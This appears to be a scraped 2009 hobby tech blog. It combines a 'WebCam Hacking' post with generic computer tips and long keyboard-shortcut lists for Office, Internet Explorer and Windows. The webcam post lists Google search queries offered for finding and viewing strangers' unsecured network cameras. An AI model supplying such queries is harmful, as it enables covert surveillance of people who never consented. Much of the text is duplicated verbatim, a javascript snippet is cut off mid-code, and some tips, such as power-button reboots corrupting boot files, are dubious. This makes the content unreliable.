Saturday, December 05, 2009
Sunday, October 04, 2009
WebCam Hacking
These are some Keywords to make ur google search effective for hacking a webcam
axis-cgi/mjpg
ViewerFrame?Mode=
view/index.shtml
MultiCameraFrame?Mode=
inurl:”ViewerFrame?Mode=
intitle:Axis 2400 video server
inurl:/view.shtml
intitle:”Live View / - AXIS”
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:/showcam.php?
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera”
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / - AXIS”
intitle:”Live View / - AXIS 206M”
intitle:”Live View / - AXIS 206W”
intitle:”Live View / - AXIS 210?
inurl:home/homeJ.html NEW!
inurl:”MultiCameraFrame?Mode=Motion”
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image”
intitle:”i-Catcher Console - Web Monitor”
inurl:view/index.shtml
inurl:indexFrame.shtml Axis
axis-cgi/mjpg
ViewerFrame?Mode=
view/index.shtml
MultiCameraFrame?Mode=
inurl:”ViewerFrame?Mode=
intitle:Axis 2400 video server
inurl:/view.shtml
intitle:”Live View / - AXIS”
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:/showcam.php?
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera”
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / - AXIS”
intitle:”Live View / - AXIS 206M”
intitle:”Live View / - AXIS 206W”
intitle:”Live View / - AXIS 210?
inurl:home/homeJ.html NEW!
inurl:”MultiCameraFrame?Mode=Motion”
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image”
intitle:”i-Catcher Console - Web Monitor”
inurl:view/index.shtml
inurl:indexFrame.shtml Axis
GOOGLE TRICKS
ROTATE ALL IMAGES IN THE PAGE WHILE SEARCHING FOR IMAGES
1.open images.google.co.in or open google and then click on images
2. Search for images as u need
3. Now delete the address ine address bar and copy and paste the following code
javascript:R= 0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images ; DIL=DI.length; function A(){for(i=0; i
1.open images.google.co.in or open google and then click on images
2. Search for images as u need
3. Now delete the address ine address bar and copy and paste the following code
javascript:R= 0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images ; DIL=DI.length; function A(){for(i=0; i
Tuesday, September 29, 2009
Computer Tips
1. Eliminate the "basics": I don't know why, but as soon as the "non-savvy" folks have a problem with their computer, they always assume the worst case scenario while overlooking some basics. By basics, I mean, if you play a cd and can't hear any sound, before you start thinking there's something wrong with your cd drive, please try checking your speaker connections, make sure you don't have your compuer set on 'mute' (which can usually be discovered in Control Panel/Sound Settings) and, if you have powered speakers, make sure they are plugged in.
2. Right-click is your friend: well, for PC computers anyway, if you are able to get to your log-on screen, see your desktop and select files, right-clicking on them can yield at least some useful information---in fact, even if it doesn't display that much information, that itself can be informative, as that might indicate file corruption.
3. The good and bad of "Safe Mode": even though Safe Mode is good for analysis purposes, one important drawback of it is that when in Safe Mode, certain hardware drivers will not load...particular your optical (cd/dvd) drives, so don't be worried if you can't play a movie or install from a disk in Safe Mode; you're effectively not supposed to be able to until you can boot in regular mode.
4. Disk Defragment is your friend, too: since we download byte by byte, files are written to our computer in "discontiguous" fashion, meaning, instead of data written to our hardrives in linear, straightforward order, our computers sometimes (and especially for downloads) write "around" here and there; it's just like when we've probably all gotten as a gift that pretty, shiny little organizer where we can keep all phone numbers and addresses but most of us jot info down on the back of receipts, tickets, slips of paper and what not. Why? Because we're using what's handy at the moment; the computer kinda does the same thing with data sometimes. Disk Defragment (found in Programs/Accessories/System Tools/Disk Defragment) is the computer's way of compacting/organizing it's 'scattered' files so that it can run and access data more efficiently...just like we ought to take those loose slips of info and collect them all to that shiny, pretty organizer. Some might suggest defragging every couple of weeks or maybe setting your computer to do so "automatically" at scheduled times. Others might suggest retail alternatives to Windows own defrag utility. In my case, it turns out that my most discontiguous files are indeed the ones I download; after archiving them to a cd/dvd and erasing them from my hardrive, my hardrive volume is in okay shape...but I guess I defrag once every few gigs downloaded.
5. Get to know your keyboard shortcuts: I've learned a certain "unwritten code" of computer professionals that has to do with efficiency and grace. The meat of the code is that, "the more professional a computer user is, the less he/she uses the mouse" . That may not be totally true, but knowing the keyboard shortcuts is a time-saver and makes learning new software applications that much easier. For typing short emails and letters, it might not make a difference, but for graphic, game and web designers, video work, animation, music, time can be money...and a penny saved is a penny earned. For pc users, the core 7 keyboard shortcuts are Ctrl+Z (undo), Ctrl+X (cut), Ctrl+C (copy), Ctrl+V (paste), Ctrl+S (Save), Ctrl+P (Print) and Ctrl+A (Select All); in some applications, these keyboard combos may have different, specialized functions, but are consistent for general usage...and they apply to data, not just text, so audio and video files can be shifted around too.
This of course applys to applications and their often-times specialized keyboard shortcuts too; I'd suggest you learn at least some of them for any software program you use on a regular basis (if applicable), even as some keyboard shortcuts are (for whatever reason) hidden (like, with some video files, you can hit "Ctrl+I" ["I" for "image"] in Windows Media Player and capture a still of the video; I defy anyone to find that little bit of knowledge in all of WMP's help files--it just isn't there!).
5. Save often: Self-Explanatory (I needed one easy to write tip in here!!)
6. (the most controversial one) IT'S NOT A VIRUS!: Probably none of my 'tips' are gonna receive ire as much as this one, but sometimes a person just has to stick their neck out and separate from the herd and here's one such moment for me. In my few short years of troubleshooting computers, I've seen dozens of machines and nearly every time a worried family member, friend, co-worker, friend-of-a-friend with the problematic pc (a few macs too, but mostly pc) suggested "I think it's a virus" and every single time...it wasn't. The closest equivalent most people I've attempted to help (there was two failures in all; those two eventually got new computers) have had to a virus is poorly-written adware that ended up causing booting/OS loading problems, but that was the extent of it. Maybe I should've labeled this tip "Chill Out, dude", as there's really not much advice in it--except, before plunking down dollars per hour to have someone look at it in a store, please consult your local 'geek' to have a crack at it; us geeks like being able to solve problems and would likely do it for free or hundreds less than the store would plus do a better, faster job (as the store may have HUNDREDS of machines to deal with, while we can dedicate ourselves to your machine alone).
7. Spring some dough for a cheap, backup computer: even cheaper than the stores or the (less altruistic) gurus, the internet is an online university where there's likely at least some useful info for a computer problem. Sometimes, if you just had a second computer to log on and snoop around with, you could find a fairly simple answer to an issue. Consider the purchase of a $50 used computer an investment against paying over $100 per hour (two-hour minimum at most places just to look at a machine and call you back in two weeks to tell you, "the computer has a problem") for compuer 'repair'...I should address that more as another tip.
8. "Stand-By Mode" just might also be your (computer's) friend: Please imagine being on a bike. Now imagine you're at the foot of a hill. Finally, imagine that you start peddling right at the foot of the hill. Most of us know that it's better to get a nice, 'running' start on a bike before having to peddle straight up hill.
But every time we power on our computers, we're doing the same thing to them. Over time, this can cause minor to serious wear and tear on our machines, resulting in problems.
Me? I've probably had my machine turned off about 6 times (for a total of like 25 hours) this year; otherwise, when not using it, I had it in "Standby Mode". That way, when I'm ready to use it again, the computer has a 'running' start; despite what you may think, it hasn't really hit me hard on my electric bill. I'm used to paying less than $20 a month for electricity and I've paid less than $20 a month for electricity before and since I had a computer and before and since I started standby mode. Knock on wood ("knock knock"), 4 years and I've never had to take 'my baby' to the shop (I mean, it's had problems, but I've gotten through them myself). I honestly attribute that (largely) to keeping my computer in standby mode. The average computer uses about 250-300 watts of electricity at full mast; that's about 3 light bulbs burning--I can't imagine that's even $4 a month extra on the bill (which is a small investment to help keep the computer in it's best performance shape).
9. Only reboot your computer with the power button as a last result: the proverb for aging is "the eyes are the first to go". There's a tendacy in computers, especially after numerous times a user has rebooted the comptuter with the power button, for the boot/OS initialization files to "go" first too, which can be a real headache to resolve. For XP users, we have the benefit of "Task Manager", which can be called up by pressing [/b]Ctrl+Shift+ESC[/b] to turn off an individual process/application that might hang up a computer; older Windows OS's can use Ctrl+Alt+Del and (hopefully) cut off a non-responsive program there.
Otherwise, if your boot routine gets corrupted and you can't even boot in safe mode, you're stuck dealing with (in Windows) DOS, which fewer and fewer people these days know how to work with, and the ones who DO know charge a stiff fee to troubleshoot in. At that point, most people have to look forward to a loss of data (like, if you have to reformat the hardrive and reinstall the OS) plus paying for some new equipment to resolve...especially if they don't have a back-up computer (tip #7) to research DOS or (usually and additional purchase) don't have any books on the subject.
10. My "get out of jail free" card : at this point, I just want to welcome/ask/encourage some of the gurus (like the mods) who are part of this site to please amend/correct and/or add to this list. Although these "tips" seemed important to me, I'm sure there are possibly more primal things I've overlooked...possibly because I don't know them either, or certain basics might have seemed too obvious even to me to mention.
2. Right-click is your friend: well, for PC computers anyway, if you are able to get to your log-on screen, see your desktop and select files, right-clicking on them can yield at least some useful information---in fact, even if it doesn't display that much information, that itself can be informative, as that might indicate file corruption.
3. The good and bad of "Safe Mode": even though Safe Mode is good for analysis purposes, one important drawback of it is that when in Safe Mode, certain hardware drivers will not load...particular your optical (cd/dvd) drives, so don't be worried if you can't play a movie or install from a disk in Safe Mode; you're effectively not supposed to be able to until you can boot in regular mode.
4. Disk Defragment is your friend, too: since we download byte by byte, files are written to our computer in "discontiguous" fashion, meaning, instead of data written to our hardrives in linear, straightforward order, our computers sometimes (and especially for downloads) write "around" here and there; it's just like when we've probably all gotten as a gift that pretty, shiny little organizer where we can keep all phone numbers and addresses but most of us jot info down on the back of receipts, tickets, slips of paper and what not. Why? Because we're using what's handy at the moment; the computer kinda does the same thing with data sometimes. Disk Defragment (found in Programs/Accessories/System Tools/Disk Defragment) is the computer's way of compacting/organizing it's 'scattered' files so that it can run and access data more efficiently...just like we ought to take those loose slips of info and collect them all to that shiny, pretty organizer. Some might suggest defragging every couple of weeks or maybe setting your computer to do so "automatically" at scheduled times. Others might suggest retail alternatives to Windows own defrag utility. In my case, it turns out that my most discontiguous files are indeed the ones I download; after archiving them to a cd/dvd and erasing them from my hardrive, my hardrive volume is in okay shape...but I guess I defrag once every few gigs downloaded.
5. Get to know your keyboard shortcuts: I've learned a certain "unwritten code" of computer professionals that has to do with efficiency and grace. The meat of the code is that, "the more professional a computer user is, the less he/she uses the mouse" . That may not be totally true, but knowing the keyboard shortcuts is a time-saver and makes learning new software applications that much easier. For typing short emails and letters, it might not make a difference, but for graphic, game and web designers, video work, animation, music, time can be money...and a penny saved is a penny earned. For pc users, the core 7 keyboard shortcuts are Ctrl+Z (undo), Ctrl+X (cut), Ctrl+C (copy), Ctrl+V (paste), Ctrl+S (Save), Ctrl+P (Print) and Ctrl+A (Select All); in some applications, these keyboard combos may have different, specialized functions, but are consistent for general usage...and they apply to data, not just text, so audio and video files can be shifted around too.
This of course applys to applications and their often-times specialized keyboard shortcuts too; I'd suggest you learn at least some of them for any software program you use on a regular basis (if applicable), even as some keyboard shortcuts are (for whatever reason) hidden (like, with some video files, you can hit "Ctrl+I" ["I" for "image"] in Windows Media Player and capture a still of the video; I defy anyone to find that little bit of knowledge in all of WMP's help files--it just isn't there!).
5. Save often: Self-Explanatory (I needed one easy to write tip in here!!)
6. (the most controversial one) IT'S NOT A VIRUS!: Probably none of my 'tips' are gonna receive ire as much as this one, but sometimes a person just has to stick their neck out and separate from the herd and here's one such moment for me. In my few short years of troubleshooting computers, I've seen dozens of machines and nearly every time a worried family member, friend, co-worker, friend-of-a-friend with the problematic pc (a few macs too, but mostly pc) suggested "I think it's a virus" and every single time...it wasn't. The closest equivalent most people I've attempted to help (there was two failures in all; those two eventually got new computers) have had to a virus is poorly-written adware that ended up causing booting/OS loading problems, but that was the extent of it. Maybe I should've labeled this tip "Chill Out, dude", as there's really not much advice in it--except, before plunking down dollars per hour to have someone look at it in a store, please consult your local 'geek' to have a crack at it; us geeks like being able to solve problems and would likely do it for free or hundreds less than the store would plus do a better, faster job (as the store may have HUNDREDS of machines to deal with, while we can dedicate ourselves to your machine alone).
7. Spring some dough for a cheap, backup computer: even cheaper than the stores or the (less altruistic) gurus, the internet is an online university where there's likely at least some useful info for a computer problem. Sometimes, if you just had a second computer to log on and snoop around with, you could find a fairly simple answer to an issue. Consider the purchase of a $50 used computer an investment against paying over $100 per hour (two-hour minimum at most places just to look at a machine and call you back in two weeks to tell you, "the computer has a problem") for compuer 'repair'...I should address that more as another tip.
8. "Stand-By Mode" just might also be your (computer's) friend: Please imagine being on a bike. Now imagine you're at the foot of a hill. Finally, imagine that you start peddling right at the foot of the hill. Most of us know that it's better to get a nice, 'running' start on a bike before having to peddle straight up hill.
But every time we power on our computers, we're doing the same thing to them. Over time, this can cause minor to serious wear and tear on our machines, resulting in problems.
Me? I've probably had my machine turned off about 6 times (for a total of like 25 hours) this year; otherwise, when not using it, I had it in "Standby Mode". That way, when I'm ready to use it again, the computer has a 'running' start; despite what you may think, it hasn't really hit me hard on my electric bill. I'm used to paying less than $20 a month for electricity and I've paid less than $20 a month for electricity before and since I had a computer and before and since I started standby mode. Knock on wood ("knock knock"), 4 years and I've never had to take 'my baby' to the shop (I mean, it's had problems, but I've gotten through them myself). I honestly attribute that (largely) to keeping my computer in standby mode. The average computer uses about 250-300 watts of electricity at full mast; that's about 3 light bulbs burning--I can't imagine that's even $4 a month extra on the bill (which is a small investment to help keep the computer in it's best performance shape).
9. Only reboot your computer with the power button as a last result: the proverb for aging is "the eyes are the first to go". There's a tendacy in computers, especially after numerous times a user has rebooted the comptuter with the power button, for the boot/OS initialization files to "go" first too, which can be a real headache to resolve. For XP users, we have the benefit of "Task Manager", which can be called up by pressing [/b]Ctrl+Shift+ESC[/b] to turn off an individual process/application that might hang up a computer; older Windows OS's can use Ctrl+Alt+Del and (hopefully) cut off a non-responsive program there.
Otherwise, if your boot routine gets corrupted and you can't even boot in safe mode, you're stuck dealing with (in Windows) DOS, which fewer and fewer people these days know how to work with, and the ones who DO know charge a stiff fee to troubleshoot in. At that point, most people have to look forward to a loss of data (like, if you have to reformat the hardrive and reinstall the OS) plus paying for some new equipment to resolve...especially if they don't have a back-up computer (tip #7) to research DOS or (usually and additional purchase) don't have any books on the subject.
10. My "get out of jail free" card : at this point, I just want to welcome/ask/encourage some of the gurus (like the mods) who are part of this site to please amend/correct and/or add to this list. Although these "tips" seemed important to me, I'm sure there are possibly more primal things I've overlooked...possibly because I don't know them either, or certain basics might have seemed too obvious even to me to mention.
Monday, September 28, 2009
Powerpoint Shortcuts
Apply subscript formatting - CTRL+EQUAL SIGN (=)
Apply superscript formatting - CTRL+PLUS SIGN (+)
Bold - CTRL+B
Capitalize - SHIFT+F3
Copy - CTRL+C
Delete a word - CTRL+BACKSPACE
Demote a paragraph - ALT+SHIFT+RIGHT ARROW
Find - CTRL+F
Insert a hyperlink - CTRL+K
Insert a new slide - CTRL+M
Italicize - CTRL+I
Make a duplicate of the current slide - CTRL+D
Open - CTRL+O
Open the Font dialog box - CTRL+T
Paste - CTRL+V
Print - CTRL+P
Promote a paragraph - ALT+SHIFT+LEFT ARROW
Repeat your last action - F4 or CTRL+Y
Save - CTRL+S
Select all - CTRL+A
Start a slide show - F5
Switch to the next pane (clockwise) - F6
Switch to the previous pane - SHIFT+F6
Undo - CTRL+Z
View guides - CTRL+G
Apply superscript formatting - CTRL+PLUS SIGN (+)
Bold - CTRL+B
Capitalize - SHIFT+F3
Copy - CTRL+C
Delete a word - CTRL+BACKSPACE
Demote a paragraph - ALT+SHIFT+RIGHT ARROW
Find - CTRL+F
Insert a hyperlink - CTRL+K
Insert a new slide - CTRL+M
Italicize - CTRL+I
Make a duplicate of the current slide - CTRL+D
Open - CTRL+O
Open the Font dialog box - CTRL+T
Paste - CTRL+V
Print - CTRL+P
Promote a paragraph - ALT+SHIFT+LEFT ARROW
Repeat your last action - F4 or CTRL+Y
Save - CTRL+S
Select all - CTRL+A
Start a slide show - F5
Switch to the next pane (clockwise) - F6
Switch to the previous pane - SHIFT+F6
Undo - CTRL+Z
View guides - CTRL+G
Excel Time saving Shortcuts
Move to next cell in row - Tab
Move to previous cell in row - Shift + Tab
Up one screen - Page Up
Down one screen - Page Down
Move to next worksheet - Ctrl + Page Down
Move to previous worksheet - Ctrl + Page Up
Go to first cell in data region - Ctrl + Home
Go to last cell in data region - Ctrl + End
Bold toggle for selection - Ctrl + B
Italic toggle for selection - Ctrl + I
Underline toggle for selection - Ctrl + U
Strikethrough for selection - Ctrl + 5
Change the font - Ctrl + Shift + F
Change the font size - Ctrl + Shift + P
Apply outline borders - Ctrl + Shift + 7
Remove all borders - Ctrl + Shift + Underline
Wrap text in same cell - Alt + Enter
Format cells - Ctrl + 1
Select font - Ctrl + Shift + F
Select point size - Ctrl + Shift + P
Format as currency - Ctrl + Shift + 4
Format as general - Ctrl + Shift + # (hash sign)
Format as percentage - Ctrl + Shift + 5
Format as number - Ctrl + Shift + 1
Autosum a range of cells - Alt + Equals Sign
Insert the date - Ctrl +; (semi-colon)
Insert the time - Ctrl + Shift +; (semi-colon)
Insert columns/rows - Ctrl + Shift + + (plus sign)
Insert a new worksheet - Shift + F11
Read Monitor Cell One - Alt + Shift + 1
Read Monitor Cell Two - Alt + Shift + 2
Read Monitor Cell Three - Alt + Shift + 3
Read Monitor Cell Four - Alt + Shift + 4
List Visible Cells With Data - Ctrl + Shift + D
Lists Data In Current Column - Ctrl + Shift + C
List Data In Current Row - Ctrl + Shift + R
Select Hyperlink - Ctrl + Shift + H
Move To Worksheet Listbox - Ctrl + Shift + S
Move To Monitor Cell - Ctrl + Shift + M
Select Worksheet Objects - Ctrl + Shift + O
List Cells At Page Breaks - Ctrl + Shift + B
Options Listbox - Insert + V
Move to previous cell in row - Shift + Tab
Up one screen - Page Up
Down one screen - Page Down
Move to next worksheet - Ctrl + Page Down
Move to previous worksheet - Ctrl + Page Up
Go to first cell in data region - Ctrl + Home
Go to last cell in data region - Ctrl + End
Bold toggle for selection - Ctrl + B
Italic toggle for selection - Ctrl + I
Underline toggle for selection - Ctrl + U
Strikethrough for selection - Ctrl + 5
Change the font - Ctrl + Shift + F
Change the font size - Ctrl + Shift + P
Apply outline borders - Ctrl + Shift + 7
Remove all borders - Ctrl + Shift + Underline
Wrap text in same cell - Alt + Enter
Format cells - Ctrl + 1
Select font - Ctrl + Shift + F
Select point size - Ctrl + Shift + P
Format as currency - Ctrl + Shift + 4
Format as general - Ctrl + Shift + # (hash sign)
Format as percentage - Ctrl + Shift + 5
Format as number - Ctrl + Shift + 1
Autosum a range of cells - Alt + Equals Sign
Insert the date - Ctrl +; (semi-colon)
Insert the time - Ctrl + Shift +; (semi-colon)
Insert columns/rows - Ctrl + Shift + + (plus sign)
Insert a new worksheet - Shift + F11
Read Monitor Cell One - Alt + Shift + 1
Read Monitor Cell Two - Alt + Shift + 2
Read Monitor Cell Three - Alt + Shift + 3
Read Monitor Cell Four - Alt + Shift + 4
List Visible Cells With Data - Ctrl + Shift + D
Lists Data In Current Column - Ctrl + Shift + C
List Data In Current Row - Ctrl + Shift + R
Select Hyperlink - Ctrl + Shift + H
Move To Worksheet Listbox - Ctrl + Shift + S
Move To Monitor Cell - Ctrl + Shift + M
Select Worksheet Objects - Ctrl + Shift + O
List Cells At Page Breaks - Ctrl + Shift + B
Options Listbox - Insert + V
MS Office Shortcut Keys
All Caps - CTRL+SHIFT+A
Annotation - ALT+CTRL+M
Auto Format - ALT+CTRL+K
Auto Text - F3 or ALT+CTRL+V
Bold - CTRL+B or CTRL+SHIFT+B
Bookmark - CTRL+SHIFT+F5
Copy - CTRL+C or CTRL+INSERT
Copy Format - CTRL+SHIFT+C
Copy Text - SHIFT+F2
Create Auto Text - ALT+F3
Date Field - ALT+SHIFT+D
Delete Back Word - CTRL+BACKSPACE
Delete Word - CTRL+DELETE
Dictionary - ALT+SHIFT+F7
Do Field Click - ALT+SHIFT+F9
Doc Maximize - CTRL+F10
Doc Move - CTRL+F7
Doc Restore - CTRL+F5
Doc Size - CTRL+F8
Grow Font - CTRL+SHIFT+.
Grow Font One Point - CTRL+]Hanging Indent - CTRL+T
Header Footer Link - ALT+SHIFT+R
Help - F1
Hidden - CTRL+SHIFT+H
Hyperlink - CTRL+K
Indent - CTRL+M
Italic - CTRL+I or CTRL+SHIFT+I
Justify Para - CTRL+J
Left Para - CTRL+L
Line Up Extend - SHIFT+UP
List Num Field - ALT+CTRL+L
Outline - ALT+CTRL+O
Outline Collapse - ALT+SHIFT+- or ALT+SHIFT+NUM -
Outline Demote - ALT+SHIFT+RIGHT
Outline Expand - ALT+SHIFT+=
Outline Expand - ALT+SHIFT+NUM +
Outline Move Down - ALT+SHIFT+DOWN
Outline Move Up - ALT+SHIFT+UP
Outline Promote - ALT+SHIFT+LEFT
Outline Show First Line - ALT+SHIFT+L
Lock Fields - CTRL+3 or CTRL+F11
Web Go Back - ALT+LEFT
Web Go Forward - ALT+RIGHT
Word Left - CTRL+LEFT
Word Left Extend - CTRL+SHIFT+LEFT
Word Right - CTRL+RIGHT
Annotation - ALT+CTRL+M
Auto Format - ALT+CTRL+K
Auto Text - F3 or ALT+CTRL+V
Bold - CTRL+B or CTRL+SHIFT+B
Bookmark - CTRL+SHIFT+F5
Copy - CTRL+C or CTRL+INSERT
Copy Format - CTRL+SHIFT+C
Copy Text - SHIFT+F2
Create Auto Text - ALT+F3
Date Field - ALT+SHIFT+D
Delete Back Word - CTRL+BACKSPACE
Delete Word - CTRL+DELETE
Dictionary - ALT+SHIFT+F7
Do Field Click - ALT+SHIFT+F9
Doc Maximize - CTRL+F10
Doc Move - CTRL+F7
Doc Restore - CTRL+F5
Doc Size - CTRL+F8
Grow Font - CTRL+SHIFT+.
Grow Font One Point - CTRL+]Hanging Indent - CTRL+T
Header Footer Link - ALT+SHIFT+R
Help - F1
Hidden - CTRL+SHIFT+H
Hyperlink - CTRL+K
Indent - CTRL+M
Italic - CTRL+I or CTRL+SHIFT+I
Justify Para - CTRL+J
Left Para - CTRL+L
Line Up Extend - SHIFT+UP
List Num Field - ALT+CTRL+L
Outline - ALT+CTRL+O
Outline Collapse - ALT+SHIFT+- or ALT+SHIFT+NUM -
Outline Demote - ALT+SHIFT+RIGHT
Outline Expand - ALT+SHIFT+=
Outline Expand - ALT+SHIFT+NUM +
Outline Move Down - ALT+SHIFT+DOWN
Outline Move Up - ALT+SHIFT+UP
Outline Promote - ALT+SHIFT+LEFT
Outline Show First Line - ALT+SHIFT+L
Lock Fields - CTRL+3 or CTRL+F11
Web Go Back - ALT+LEFT
Web Go Forward - ALT+RIGHT
Word Left - CTRL+LEFT
Word Left Extend - CTRL+SHIFT+LEFT
Word Right - CTRL+RIGHT
Accessibility Shortcuts
Tap SHIFT 5 times - Toggles StickyKeys on and off.
Press down and hold the right SHIFT key for 8 seconds - Toggles FilterKeys on and off.
Press down and hold the NUM LOCK key for 5 seconds - Toggles ToggleKeys on and off.
Left ALT+left SHIFT+NUM LOCK - Toggles MouseKeys on and off.
Left ALT+left SHIFT+PRINT SCREEN - Toggles High Contrast on and off.
Press down and hold the right SHIFT key for 8 seconds - Toggles FilterKeys on and off.
Press down and hold the NUM LOCK key for 5 seconds - Toggles ToggleKeys on and off.
Left ALT+left SHIFT+NUM LOCK - Toggles MouseKeys on and off.
Left ALT+left SHIFT+PRINT SCREEN - Toggles High Contrast on and off.
Internet Explorer Shortcuts
CTRL+A - Select all items on the current page
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://www. (url) .com
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help
__________________
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://www. (url) .com
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help
__________________
Windows Explorer Shortcuts
ALT+SPACEBAR - Display the current window’s system menu
SHIFT+F10 - Display the item's context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item
SHIFT+F10 - Display the item's context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item
Windows XP Shortcuts
ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items
__________________
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
